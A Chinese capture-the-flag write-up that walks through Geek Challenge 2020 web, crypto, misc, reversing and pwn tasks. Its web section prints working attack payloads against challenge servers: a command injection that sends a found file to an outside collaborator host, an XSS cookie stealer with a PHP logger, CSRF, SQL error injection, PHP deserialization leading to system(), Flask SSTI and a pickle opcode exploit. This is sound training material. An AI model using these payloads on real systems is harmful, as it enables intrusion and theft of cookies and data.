1. 程式人生 > 實用技巧 >三葉草極客大挑戰2020 部分題目Writeup

三葉草極客大挑戰2020 部分題目Writeup

三葉草極客大挑戰2020 部分題目Writeup

Web

Welcome

開啟後狀態碼405,555555,然後看了一下報頭存在請求錯誤,換成POST請求後,檢視到原始碼

 <?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
    
    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
        show_source(__FILE__);
    }
    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
        phpinfo();  // collect information from phpinfo!
    }
} 

Payload:POST:roam1[]=1&roam2[]=2

去phpinfo檢視內容,發現存在f1444aagggg.php頁面,開啟又沒內容,再去報文看看,返回包報頭看到flag,為SYC{w31c0m3_t0_5yc_r0@m_php1}

flagshop

一開始不知道怎麼做,然後群裡管理員說修復了BOT,以為是儲存型XSS的考點,然後嘗試了幾種方法都沒作用。然後就去休息了,回來後發現給了hint,說了是CSRF的考點,沒接觸過,百度學習了一下,上個連結:https://juejin.im/post/6844903689702866952,看了一下應該是從提交報告讓BOT轉賬給我們。

先用Burp構造一個CSRF的Poc,這裡需要補充一句:

讓他傳送提交的作用。這裡構造好後要放在VPS上,這裡謝謝m3w師傅提供!

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="atao" />
      <input type="hidden" name="money" value="10000" />
      <input type="hidden" name="messages" value="xxx" />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.forms[0].submit(); </script>
  </body>
</html>

有個驗證碼需要md5加密,寫個指令碼

#coding: utf-8

import hashlib
s = ''
dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
md5 = hashlib.md5(dic).hexdigest()

for a in dic:
	for b in dic:
		for c in dic:
			for d in dic:
				t = str(a)+str(b)+str(c)+str(d)
				md5 = hashlib.md5(t).hexdigest()
				if md5[0:5] == 'b2156':
					print t
					print md5

提交的報告內容

<script>
    new Image().src = 'Payload的網址';
</script>

過一會兒就轉錢過來了,然後購買flag即可,最後flag為SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

朋友的學妹

開啟後提示為檢視原始碼,通過檢視獲得註釋內容,上面還有使用base64解碼的字樣,即解碼註釋內容獲得flag,為SYC{F1@_4s_h4Lpfullllll}

EZwww

根據提示存在備份檔案,嘗試發現為www.zip,獲得一個假的flag和原始碼,原始碼如下

<html>
 <head>
  <title>Lola's website1.0</title>
 </head>
 <body>
 <?php echo '<h1>welcome to my website</h1>'; ?>
 <?php echo '<p>i will never forget to backup my website......</p>'; ?>
 <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
 </body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

通過POST請求a變數然後比較base64解碼內容獲得flag,Payload:POST:a=sycl0ver,獲得flag為SYC{Backup_1s_4_good_h4bit_l0l}

EZgit

通過提示知道是使用GitHack獲得原始檔,但是原始檔開啟後得到的是flag is toooo old!,根據題目提示應該是版本的問題,通過命令git log檢視,發現存在另一個版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee進行對比,獲得flag為SYC{I_l0ve_sycl0ver_l0l}

劉壯的黑頁

進去後到最下面看到一段程式碼,GET請求傳入username變數,POST請求傳入passwd變數,兩個變數分別等於admin和syclover獲得flag

Payload:

GET:?username=admin

POST:passwd=syclover

flag為SYC{d0_y0u_k0nw_GET?}

我是大黑客

開啟後看到存在.bak的檔案,然後用蟻劍連線,根目錄下存在flag,flag為SYC{1iuzHuang_yyd_G0d!}

ezbypass

開啟後如下:

Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.

Note that a and b cannot be equal.

傳一個a和b不相等且strcmp後置空,一個等於陣列就可以繞過了

接著是:

OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123

傳入c=123,但不是數字,應該是弱比較

Payload:GET:?a=x&b[];POST:c=123e

flag為SYC{php_4s_so_funny}

知X堂的php教程

存在一個目錄穿梭和一個讀取檔案兩個頁面

分別查看了兩個檔案,目錄穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令執行的漏洞。

但是不知道flag在哪裡,但是可以使用find / -name flag配合``反引號帶出flag檔案的位置

Payload:http://47.94.239.194:8082/listdir.php?dirname=;curl -X POST -F xx=@`find / -name flag` http://aesuim9gty25alcdnjqwy4tj2a80wp.burpcollaborator.net

Myblog

題目給出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.

先找找與偽協議有關的內容,這裡從url可以看出來,http://173.82.206.142:8006/index.php?page=home,後面home應該是存在漏洞的,是用偽協議進行讀取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home

然後就是在登陸的地方獲得一下原始碼,主要是驗證的地方

admin/user.php(僅列出主要程式碼)

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

只需要驗證對if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陸了,username很好實現,但是password和SESSION就不容易,但是置空的話就可以很輕易實現,完成登陸了。

接著從第二點提示可以看出,應該是檔案上傳的洞,找了一下發現只有上傳頭像的功能,那應該就是這裡了,發現只能上傳圖片,最後解析成了圖片,想到了檔案包含,可以是用zip協議這類的,這裡將php檔案壓縮後,更改字尾名,上傳檔案,然後訪問?page=./路徑+上傳檔名%23壓縮包中的檔名,即可。這裡#一定要urlcode編碼。

帶惡人六撞

?id=1'
返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
判斷存在sql報錯注入

先嚐試
?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
返回
hacker?

再試試別的報錯函式,這裡想到了上一屆極客大挑戰的extractvalue函式,這裡用^進行連線
?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
返回
XPATH syntax error: '~geek_sql'

然後查看錶名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23
返回
XPATH syntax error: '~blog,fllllag'

檢視列名
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23
返回
XPATH syntax error: '~id,fllllllag'

檢視fllllag表中的fllllllag列
?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23
返回
XPATH syntax error: '~welcome_to_syclover,longlone_ne'

好像沒有回顯全部內容,應該是extractvalue函式存在回顯長度,配合limit回顯每一行的內容
?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23
返回
XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'

告白網站

開啟後是一個留言網站,測試了一下只有留言功能,想到了XSS,不過存在過濾,手工測試了一下過濾了"."、"%"、"&"、"=",這個驗證機制真是要人命,百度了一圈都沒有結果。後來看到了JSfuck,這個好像就是為了防止xss中被waf過濾出現的。

new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;

將上面的內容通過jsfuck加密,然後用<script></script>框起來,傳送,過一會兒就可以看到flag了。

IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}

本來是想用XSS平臺做的,但是一直沒成功,感覺是自己太菜了不會用,因為只會用上面給的程式碼,然後借了Firebasky師傅vps用寫了個php,程式碼如下:

<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>   

pop chain epic

原始碼如下:

<?php
class pop
{
    public $aaa;
    public static $bbb = false;
    public function __wakeup()
    {
        //Do you know CVE?
        echo "The class pop should never be serialized.";
        $this->aaa = NULL;
    }
    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}
class chain
{
    private $AFKL;
    protected function getAFKL()
    {
        return $this->AFKL;
    }
}
class epic extends chain
{
    public $aaa;
    public static $bbb = false;
    public function __invoke()
    {
        return self::$bbb;
    }
    public function __call($name, $params)
    {
        return $this->aaa->$name($params);
    }
}
if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} else {
    highlight_file(__FILE__);
}

很有趣的一道題目,被帶著一直走,思路沒對,一直以為要和下面那個繼承類的東西合在一起,然後輸出AFKL的值,一開始看到__invoke()魔術方法,感覺很開心,然後測試後發現不行,因為epic類中的bbb也是靜態的false,所以呼叫函式後,pop類中的bbb還是false,所以這裡應該是要呼叫函式,然後取執行$this->aaa[1]($this->aaa[2]),這個也可以從for迴圈中看出來,因為for迴圈只做兩次,說明第一次去了回撥函式,第二次應該不是去回撥函數了。有了接下來的一段php程式碼

<?php
class pop
{
    public $aaa;
    public static $bbb = false;
}
class chain
{
    private $AFKL;
    protected function getAFKL()
    {
        return $this->AFKL;
    }
}
class epic extends chain
{
    public $aaa;
    public static $bbb = false;
}
$a = new pop();
$a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');

object(pop)#1 (2) {
  ["aaa"]=>
  NULL
  [""]=>
  array(3) {
    ["object"]=>
    string(7) "phpinfo"
    [1]=>
    string(4) "echo"
    [2]=>
    string(7) "getAFKL"
  }
}

這段程式碼存在一個最致命的錯誤,就是$a->$aaa,這個本來是想對aaa變數進行賦值的,但是前面寫了$,所以這裡出來的類會存在兩個變數,然後因為我一直沒看類的亞子,所以這裡卡成一個傻逼。不過以後也要記住對於類中的變數的賦值!!!

<?php
error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;
}

$a = new pop();
$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');
echo base64_encode(str_replace(":1:",":2:",serialize($a)));

X迪的pyp語言

​ 開啟網站後是一個登陸框,檢視一下原始碼發現了,訪問後獲得了網站的原始碼,如下:

import re
from flask import Flask, render_template_string, request
import templates.templates as tp

app = Flask(__name__)

def isParamLegal(param):
    return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)

@app.route('/') 
@app.route('/index.php') 
def main():
    indexTp = tp.head + tp.index + tp.foot
    return render_template_string(indexTp)

@app.route('/login.php', methods=["POST"])
def login():
    username = request.form.get('username')
    password = request.form.get('password')

    if(isParamLegal(username) and isParamLegal(password)):
        message = "Username:" + username + "&" + "Password:" + password
    else:
        message = "引數不合法"

    loginTmpTp = tp.head + tp.login + tp.foot
    loginTp = loginTmpTp % message

    return render_template_string(loginTp)

@app.route("/hint.php")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file

if __name__ == '__main__':
    app.run(host="0.0.0.0")

考點知道了是SSTI,但是需要構造,不過存在一個自定義函式,對於單個username或者password進行了限制,不能單個構造出{{ }}或者{% %}這樣的內容,但是通過觀察,從message下手依舊是可以的,將"{{"和"}}"分別給username和password變數。構造如下:

username = "{{'"
password = "'.__class__}}"
message = "Username:" + username + "&" + "Password:" + password
print message
#返回
Username:{{'&Password:'.__class__}}
#在網站上測試返回
Username:<class 'str'>

#由於沒啥過濾很容就可以獲得flag了
Payload:
username={{'
password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}

Longlone_Secret1

​ 訪問網址,沒看出來有啥內容,F12檢視原始碼獲得:,GET請求傳入name變數後獲得原始碼,如下

from flask import Flask, request
import base64
import pickle
import io
import sys
import secret

app = Flask(__name__)


class YourSecret:
    def __init__(self, name):
        self.name = name


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': #只允許__main__模組(白名單)
            return getattr(sys.modules['__main__'], name) #返回物件屬性值
        raise pickle.UnpicklingError(
            "global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


@app.route('/')
def start():
    if request.args.get('name'):
        text = open(__file__, 'r', encoding='utf-8').read()
        return text
    else:
        return "我之前聽說Longlone深藏著一個祕密,但是今天他居然跟我說他把這個祕密藏在了一個地方,如果我可以找到的話,他就會給我一些獎勵。<br>"\
               "<br>但是他和我說要按他說的規矩來:必須湊夠兩個人才能開始遊戲,那麼,你願意和我一起來嗎?<br>"\
               "<br>你說你願意?那真的太好了,那麼,在開始之前,告訴我你的名字吧!<br>"\
               "<!-- Let me GET your name, so we can get started. -->"\


@app.route('/secret', methods=['GET', 'POST'])
def eql():
    if request.method == 'POST':  #POST請求才可以繼續做
        try:
            data = base64.b64decode(request.form.get('secret')) #傳入的secret變數進行base64解碼
            if b'R' in data: #opcode程式碼中不能存在"R"字元,opcode中經常使用通過R指令碼進行命令執行
                return "嗯?還想開掛?小心把你關進神仙服!"
            else:
                ser_data = restricted_loads(data) #進行pickle.loads反序列化
            if type(ser_data) is not YourSecret: #反序列化後的ser_data應該要屬於YourSecret類
                return 'Are U sure this is longlone\'s secret?'
            if ser_data.name == YourSecret(secret.name).name: #這裡需要反序列化中的name等於secret類中的name值
                return secret.flag #即可獲得flag
            else:
                return 'The secret is incorrect!'
        except Exception as e:
            return repr(e) + '<br/>What do U want to do?'
    else:
        return "相信你也看到Longlone給我們的提示了,那麼你能猜出他的祕密是什麼嗎?<br>"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

​ 重點程式碼是/secret路由,分析寫在上面了,這裡能想到的方式有兩種:1)變數賦值,即在傳入反序列化字串時,就讓name=secret.name,但是這裡多加了一個限制,修改了pickle.Unpickler.find_class()這個函式,使得我們要呼叫secret.name時會報錯:_pickle.UnpicklingError: global 'secret.name' is forbidden,所以這裡使用不了這個方法;2)變數覆蓋,通過GLOBAL指令引入的變數,可以看作是原變數的引用。當在棧上修改它的值時,也會導致原變數也被修改,這裡這主要就是利用了這個方法,原理的話之後會有一篇文章專門總結的。

Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu

轉成opcode編碼
\x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.

簡單的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."

使用的方式是變數覆蓋,RestrictedUnpickler.find_class方法可以返回物件屬性值,其中操作符c可以呼叫該方法,則有了c__main__\nsecret\n;模組__dict__屬性是可以進行修改的,構造一個字典來修改對應鍵為什麼值,構造通過}(S'name'\nS'xxx'\nu完成,然後使用b指令修改__dict__;最後使用0指令將它彈出棧;後接一個YouSecret類轉成opcode字串即可。

Cry

二戰情報員劉壯

使用的是摩斯電碼,flag為SYC{L1UZHU4NGIZ1Y1}

鎧甲與薩滿

使用的是凱撒密碼,flag為SYC{liuzhuangliuzhuang_bangbangbang}

Misc

一“頁”障目

將海報上的字元拼起來即可

壯言壯語

看到了佛曰,為與佛論禪,通過線上網站解碼http://www.keyfc.net/bbs/tools/tudoucode.aspx,獲得flag為SYC{i_l0ve_Japanese_wife}

Re

No RE no gain

使用IDA開啟後,在main函式(不用F5虛擬碼)中直接看到flag

我真不會寫驅動!

應該是非預期了,IDA開啟後在sub_140001010函式直接看到flag,flag為SYC{First_Win64_DRIVER}

re00

題目提示了簡單的異或,先看看主函式有沒有東西,發現了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),異或的點找到了,然後根據上面的內容buf[i]是輸入的字串,所以要去看byte_4060[i]的內容,檢視byte_4060獲得下面的內容

char byte_4060[32]
.data:0000000000004060 byte_4060       db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh
.data:0000000000004060                                         ; DATA XREF: main+93↑o
.data:0000000000004060                 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)
.data:0000000000004060                 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h

//n dup(m)的意思為n個m

將內容和0x44異或獲得flag,指令碼如下

a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]
b = 0x44
flag = ''
for i in a:
    flag =flag + chr(i ^ b)
print flag

flag為SYC{simple_simple_xorrr_right??}

PWN

數學咋樣?

先用nc連線看看,看到如下

------------------------------------------
Can you help me to solve my math problem?
------------------------------------------
I have 20 tests
![0]  num_1 = 180, num_2 = 428
I can't calculate the expression 'num_1 + num_2'.
input your answer:

是一個加法,要迴圈20次就可以獲得flag了,這裡可以直接計算20次加法,也可以使用指令碼,按照提示應該是要用指令碼的。剛好上半年學了一點Pwn,這裡用一下。指令碼如下

import re
from pwn import *

p = remote('81.69.0.47',1111)
p.recvline()
p.recvline()
p.recvline()

for i in range(0,20):
    put1 = p.recvline()
    put = p.recvline()
    calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')
    calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')
    #print calc1
    #print calc2
    s = str(eval(calc1+'+'+calc2))
    #print s
    p.recvline()
    put2 = p.recvn(18)
    p.sendline(s)
while True:
    strr = p.recvline()
    print strr
    if "SYC" in strr:
        break
Pwntools庫的一些常用函式

本地開啟:p=process('./filename')
遠端開啟:p=remote('ip地址',埠)

傳送payload
1)p.send(payload)發生payload
2)p.sendline(payload)傳送payload,並進行換行(末尾\n)
3)p.sendfter(some_string,payload)接收到some_string後,傳送你的payload
接收返回內容
4)p.recvn(N)接受N個字元
5)p.recvline()接收一行輸出
6)p.recvline(N)接收N行輸出
7)p.recvuntil(some_string)接收到some_string為止

本文作者:erR0Ratao

本文連結:https://www.cnblogs.com/erR0Ratao/p/14023017.html